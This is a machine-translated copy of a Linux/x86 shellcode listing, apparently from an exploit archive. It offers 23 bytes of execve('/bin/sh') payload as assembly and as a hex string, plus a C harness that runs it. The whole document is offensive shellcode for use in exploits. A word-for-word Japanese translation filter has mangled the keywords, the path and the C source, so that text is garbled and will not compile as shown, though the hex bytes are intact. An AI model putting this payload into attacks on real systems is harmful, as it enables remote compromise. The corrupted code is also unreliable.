このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
***************************************************** * Linux/x86 execve /貯蔵所/sh shellcode 23 bytes * ***************************************************** * Author: Hamza Megahed * ***************************************************** * Twitter: @Hamza_Mega * ***************************************************** * blog: hamza-mega[dot]blogspot[dot]com * ***************************************************** * E-mail: hamza[dot]megahed[at]gmail[dot]com * ***************************************************** xor %eax,%eax 押し進める %eax 押し進める $0x68732f2f 押し進める $0x6e69622f mov %esp,%ebx 押し進める %eax 押し進める %ebx mov %esp,%ecx mov $0xb,%al int $0x80 ******************************** #含む <stdio.h> #含む <string.h> char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(無効の) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(無効の(*)()) shellcode)(); return 0; }